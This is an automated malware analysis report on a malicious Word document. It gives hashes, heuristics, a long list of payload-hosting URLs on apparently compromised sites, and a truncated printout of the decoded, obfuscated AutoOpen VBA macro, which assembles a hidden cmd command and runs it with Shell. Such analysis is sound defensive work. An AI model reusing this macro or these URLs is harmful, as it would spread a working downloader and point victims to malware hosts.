Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9b59d24eb7f89c2e…

MALICIOUS

Office (OLE)

281.2 KB Created: 2018-07-25 09:34:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: b2ac488f7d40ef628553f865516d571c SHA-1: 1a05e17396381f78a73d43a110147e36fae81428 SHA-256: 9b59d24eb7f89c2ee82a73a92fd146b78a6503565c3e6e153ab4eedc9d2b3924
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The script uses the Shell function to execute a command, indicating an attempt to download and run a second-stage payload. The presence of numerous unknown-reputation URLs suggests potential C2 infrastructure or payload hosting.

Heuristics 7

  • ClamAV: Doc.Malware.Valyria-6735715-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6735715-0
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 287,949 bytes but its declared streams total only 147,264 bytes — 140,685 bytes (49%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.masterphcons.ro/wp-content/uploads/2014/11/mod_filezipr.php In document text (OLE body)
    • http://www.cvckolarovo.skwp-content/uploads/2017/06/mod_filezipr.phpIn document text (OLE body)
    • http://www.successmusicnow.com/wp-content/plugins/wp-editor/classes/mod_filezipr.phpIn document text (OLE body)
    • http://www.upk.ppdgombak.net/wp-content/themes/twentyseventeen/inc/mod_filezipr.phpIn document text (OLE body)
    • http://www.super-pro.fpmdev.ca/wp-content/plugins/addthis/test/mod_filezipr.phpIn document text (OLE body)
    • http://www.megaelectronix.ca/crm/modules/mooeditable/Docs/mod_filezipr.phpIn document text (OLE body)
    • http://www.betongvn.com/wp-includes/SimplePie/XML/Declaration/mod_filezipr.phpIn document text (OLE body)
    • http://www.extreme.mocksitetest.com/wp-content/plugins/akismet/_inc/mod_filezipr.phpIn document text (OLE body)
    • http://www.tajgardon.com/wp-content/plugins/ultimate-tweaker/sections/mod_filezipr.phpIn document text (OLE body)
    • http://www.gotovie-ooo.com/cgi-bin/ad/style/theme/ini_mod_filezipr.phpIn document text (OLE body)
    • http://www.uthetha.biz/helpdesk/include/fpdf/font/mod_filezipr.phpIn document text (OLE body)
    • http://www.puffpuffglassbkk.com/wp-includes/SimplePie/XML/Declaration/mod_filezipr.phpIn document text (OLE body)
    • http://www.pamlagrendelo.hu/wp-content/plugins/google-maps-widget/images/mod_filezipr.phpIn document text (OLE body)
    • http://www.ubergrun.de/wp-content/cache/object/f54/mod_filezipr.phpIn document text (OLE body)
    • http://www.ruc.jsswebdev.com/wp-includes/Text/Diff/Renderer/mod_filezipr.phpIn document text (OLE body)
    • http://www.blog.netscraps.com/wp-includes/SimplePie/Decode/HTML/mod_filezipr.phpIn document text (OLE body)
    • http://www.clos-vignesroses.frwp-includes/SimplePie/Decode/HTML/mod_filezipr.phpIn document text (OLE body)
    • http://www.rajshekarhomehealth.in/wp-content/themes/orvis/languages/mod_filezipr.phpIn document text (OLE body)
    • http://www.bonnieoconnor.com/wp-content/uploads/2016/05/mod_filezipr.phpIn document text (OLE body)
    • http://www.proleer.org/administrator/components/com_contact/helpers/mod_filezipr.phpIn document text (OLE body)
    • http://www.bangunfakfak.com/wp-content/themes/bizipress/template-parts/mod_filezipr.phpIn document text (OLE body)
    • http://www.test2.ts.com.ps/sitepro/js/photoswipe/default-skin/ini_mod_filezipr.phpIn document text (OLE body)
    • http://www.parcesolucoes.com.br/components/com_contact/views/category/mod_filezipr.phpIn document text (OLE body)
    • http://www.desert.212dev.com/wp-content/plugins/woocommerce/includes/mod_filezipr.phpIn document text (OLE body)
    • http://www.shelbourneproperty.mcveighmedia.com/wp-includes/js/tinymce/langs/mod_filezipr.phpIn document text (OLE body)
    • http://www.khangnamwindow.danang.vip/wp-content/plugins/wp-editor/classes/mod_filezipr.phpIn document text (OLE body)
    • http://www.jenhsieh.com/littleladyhsieh/wp-content/uploads/2012/mod_filezipr.phpIn document text (OLE body)
    • http://www.ohrana.40rus.com/templates/beez/html/mod_search/mod_filezipr.phpIn document text (OLE body)
    • http://www.ezhs.tytonmedia.com/wp-content/themes/twentythirteen/css/mod_filezipr.phpIn document text (OLE body)
    • http://www.altinoluk-akcay.com/wp-content/uploads/2014/12/mod_filezipr.phpIn document text (OLE body)
    • http://www.amthucdinhcao.com/wp-content/themes/leeway/js/mod_filezipr.phpIn document text (OLE body)
    • http://www.estudiojuridicocbe.com/wp-includes/js/tinymce/themes/mod_filezipr.phpIn document text (OLE body)
    • http://www.cebatudela.com/web/images/sampledata/parks/mod_filezipr.phpIn document text (OLE body)
    • http://www.guthealthfirst.com/wp-content/plugins/easy-wp-smtp/languages/mod_filezipr.phpIn document text (OLE body)
    • http://www.checkout.shop-mania.info/rtypisjw/wtuds/mod_filezipr.phpIn document text (OLE body)
    • http://www.swedmotor.seadministrator/components/com_tags/controllers/mod_filezipr.phpIn document text (OLE body)
    • http://www.dajitest.ge/ge/plugins/content/finder/mod_filezipr.phpIn document text (OLE body)
    • http://www.westridgesproutgarden.info/wp-content/themes/Divi/lang/mod_filezipr.phpIn document text (OLE body)
    • http://www.plumbersn300224.n3sites.com/wp-content/plugins/woocommerce-ajax-filters/js/mod_filezipr.phpIn document text (OLE body)
    • http://www.squeezepage.tvstartup.us/wp-content/uploads/2017/11/mod_filezipr.phpIn document text (OLE body)
    • http://www.niknewsha.ir/wp-content/plugins/sw_ourteam/js/mod_filezipr.phpIn document text (OLE body)
    • http://www.ns.storactive.ma/.well-known/acme-challenge/tyoinvur/wtuds/mod_filezipr.phpIn document text (OLE body)
    • http://www.henanzouchuqu.com/hnjmw_170908_o/libraries/joomla/filter/mod_filezipr.phpIn document text (OLE body)
    • http://www.prolocobinasco.it/wp-content/plugins/envira-gallery-lite/includes/mod_filezipr.phpIn document text (OLE body)
    • http://www.mobile.handymannexpress.com/lib/Zend/Gdata/Media/mod_filezipr.phpIn document text (OLE body)
    • http://www.hotto.com.vnwp-includes/js/swfupload/plugins/mod_filezipr.phpIn document text (OLE body)
    • http://www.hartaetos.gr/libraries/joomla/crypt/password/mod_filezipr.phpIn document text (OLE body)
    • http://www.immodomus.be/license/key/3/ini_mod_filezipr.phpIn document text (OLE body)
    • http://www.onepiling.com/wp-content/themes/twentythirteen/joiuehtr/ini_mod_filezipr.phpIn document text (OLE body)
    • http://www.rack04.org.uk/loggers/tyoinvur/wtuds/mod_filezipr.phpIn document text (OLE body)
    +1020 more URL(s)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 29723 bytes
SHA-256: 831614cd71219df8270d1591dba916d447de8f28a6c1285cc7561766d30988b2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jovqOBvRlNiVR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   MJjaaH = SrzLBh
   TwYpd = CInt(FjzBj / ZzUKNO * 22030 - hQFSJl)
   uSrnF = 6
wMYIzu = "" + MvMVUIGZN + RzzzQipROnucPw + CVar("cm") + CUhRviLXzwY + DHNLKdV + UIzWwNJL + uTAvWVmp + hQqafY + tSJJEbjfzB + izvaAvGAmP + SOFJuJaEO + ianZnrivkS + vZDKCH + wDMhH + EGjJhOqrk + lUMFX + YYjizjCt + OqCbYKOQaS + RYChw + aNDaSPHasQv + GqfXVKsnm + iWCddKj + SDVHwnicz + lflGdnRMqRY + wCVNHkNZT + YuNliTfZY + HtbXa + bHmVdV + iOOQT + VGQrzww + CKnZks + DdBvD + RqTQibQWN + JdUbOITBWT + iWYrkMLij + zajJrhOX + FEIGUiLKbR + lJHtrLSnmF + SnqSzzuQoU + KjGShTf + ltBbWwG + hlnMJDiBPLq + mdCuwmM + ZIchFfzzm + BhNIuiTAZHiYuw
   XtHEU = 311
   rGjsB = CBool(5)
Shell@ wMYIzu, 0
   aoLiA = Cos(4874)
End Sub


Attribute VB_Name = "YaRCzHvjhlTcHt"
Function UIzWwNJL()
On Error Resume Next
pVACZ = HSdsnf
   mJozl = Tan(QrIbjZ)
oMUAvlYns = "d" + "     " + "   " + "       " + "/c       "
LJOfVD = CBool(501)
PwqWjj = "  " + "      C" + "Md  /v:   " + "   /" + "c" + "  " + CStr(Chr(sViAWzlZ + owfLcccnOWbdLQ + 34 + BRiakHGuVF + TaqdscXLms)) + " sEt  " + " '{@]"
zbzwN = Sin(SzkGU)
   wWDfN = 816
   bWLVN = CLng(60)
nQwiJw = "=\_\_" + "---/-\_\/"
zFRjV = 233439149
   PZliT = 3364
WNzQnYIZrOs = "_/ /"
ktzHvh = 40
   qikYm = Rnd(32873 * XErOo * 94395 + wKvFzb)
   orFUhB = UuTJw
knGAXnff = "/\_" + "-" + "_-\\" + "\"
UIzWwNJL = oMUAvlYns + PwqWjj + nQwiJw + WNzQnYIZrOs + knGAXnff
   ODYll = Rnd(62815 * 24518)
   uFica = Tan(NHjlzq + SRjCMk)
   iBrUaB = CDate(qjkjz)
End Function
Function uTAvWVmp()
On Error Resume Next
KJzJRNGo = "--/__"
HCfdb = CLng(96462 - hBquj * 69058 / bRoPDH)
   lqajYs = Log(5)
   rMPEmI = jGQABQ
FtOqDwjuOr = " -/" + "_/_\-" + "\" + "--\//_\ " + "\" + "//_-\-_\/" + "_-/-\ -\_\"
QQlFa = Rnd(95)
   IfuhSd = CBool(OtibiN)
mcmDFYXVjwZ = "-/-_//\_-" + "_/ \/_/" + "//_\" + "_-" + "--_-\ /\_-" + "_-_/--"
jlMsO = Chr(24655 * sqlYiP)
   IwZZV = jsiwY
   PFiwM = Hex(2)
FZYqdYjvCH = "\_/\\" + " \-\\/" + "/" + "_" + "_/-/"
ofdkNz = 4
   vzQWSL = GkdCDl
pMkiUDCXpaC = "-_" + "\- \/" + "\/_\/_-" + "\/-__- -_" + "-\/\"
QnDtiw = UUtuoI
QVvoMvFaUpA = "\_-_" + "///\- " + "//-_" + "_--\_-\/" + "/_\"
uTAvWVmp = KJzJRNGo + FtOqDwjuOr + mcmDFYXVjwZ + FZYqdYjvCH + pMkiUDCXpaC + QVvoMvFaUpA
   GBOvXR = vztQvH
End Function
Function hQqafY()
On Error Resume Next
EjTjGH = Oct(SiPzAH)
   fvNMrf = Sgn(7)
   XdFiH = CByte(cnnhj)
zPFaFT = " -" + "-" + "_\_///-" + "\\-\/_ _/-" + "\\-\/\-_/-"
GIaQaHS = "__ --_//__" + "--_/\\\" + "\ -\/_\"
OruhHWmjOv = "-/_\" + "/-\/-_" + " _/-/\\"
MNlEY = WaQFCw
   SVDYa = Cos(pivFv / zPAAF + tNGdAJ - HsUWAK)
QHVfjmqmKU = "\" + "/-_" + "_/\-- --\" + "/-//" + "\/\_\-__ -"
HzQSM = "-/\___/\//" + "\_\-}\\/-_" + "_/-_//_\\"
MMmiXQ = CStr(oVujS)
TSEizDTmBE = "-"
hQqafY = zPFaFT + GIaQaHS + OruhHWmjOv + QHVfjmqmKU + HzQSM + TSEizDTmBE
   uuHKl = 856
End Function
Function tSJJEbjfzB()
On Error Resume Next
UZMIK = CDbl(7)
   hFWnpY = 9052
CPmQviWiwz = "}\\/" + "/_\\" + "_-" + "-_/--_{_"
YZbAmp = Sqr(OjkOpV)
   lLZPJ = Tan(YHEFKH + NwiwQE / BcLPYi - sCNBf)
ljWAJQbAmzq = "-//" + "__-\/\" + "--/\\h_/\" + "/_/\-" + "/" + "\-_--_c_"
blqOvduv = "\_" + "/\/-\--"
LuJzPI = Log(20)
FWVOUMU = "/" + "\/-_t//" + "_\--\_/" + "/\--\_a" + "\-_\\__-" + "-/-"
tSJJEbjfzB = CPmQviWiwz + ljWAJQbAmzq + blqOvduv + FWVOUMU
   EPUBH = VcQZS
   ajjErE = Int(owoWCv * PzmtbB)
End Function
Function izvaAvGAmP()
On Error Resume Next
AJsfj = 42
EutHi = "///\c/-\_/" + "-_\_\/_" + "-/-}/\_/\" + "\___-/--\-" + ";_-/_--" + "//\\-/" + "\\_k\_/-"
pvpiD = "_" + "\//" + "_-_-\\/a-" + "\/\/_" + "-/-\" + "-\_/" + "_e-_\_-"
GfPQu = CBool(cPYII)
SkWYMjjKpT = "\-/_/\" + "//-\r-//" + "_\_\_\-_-/" + "/\b--\_//" + "\-_//\__-" + ";//\/\-_-" + "\\/_-_-h"
wknSG = Hex(cBvShr / IplrbU)
  
... (truncated)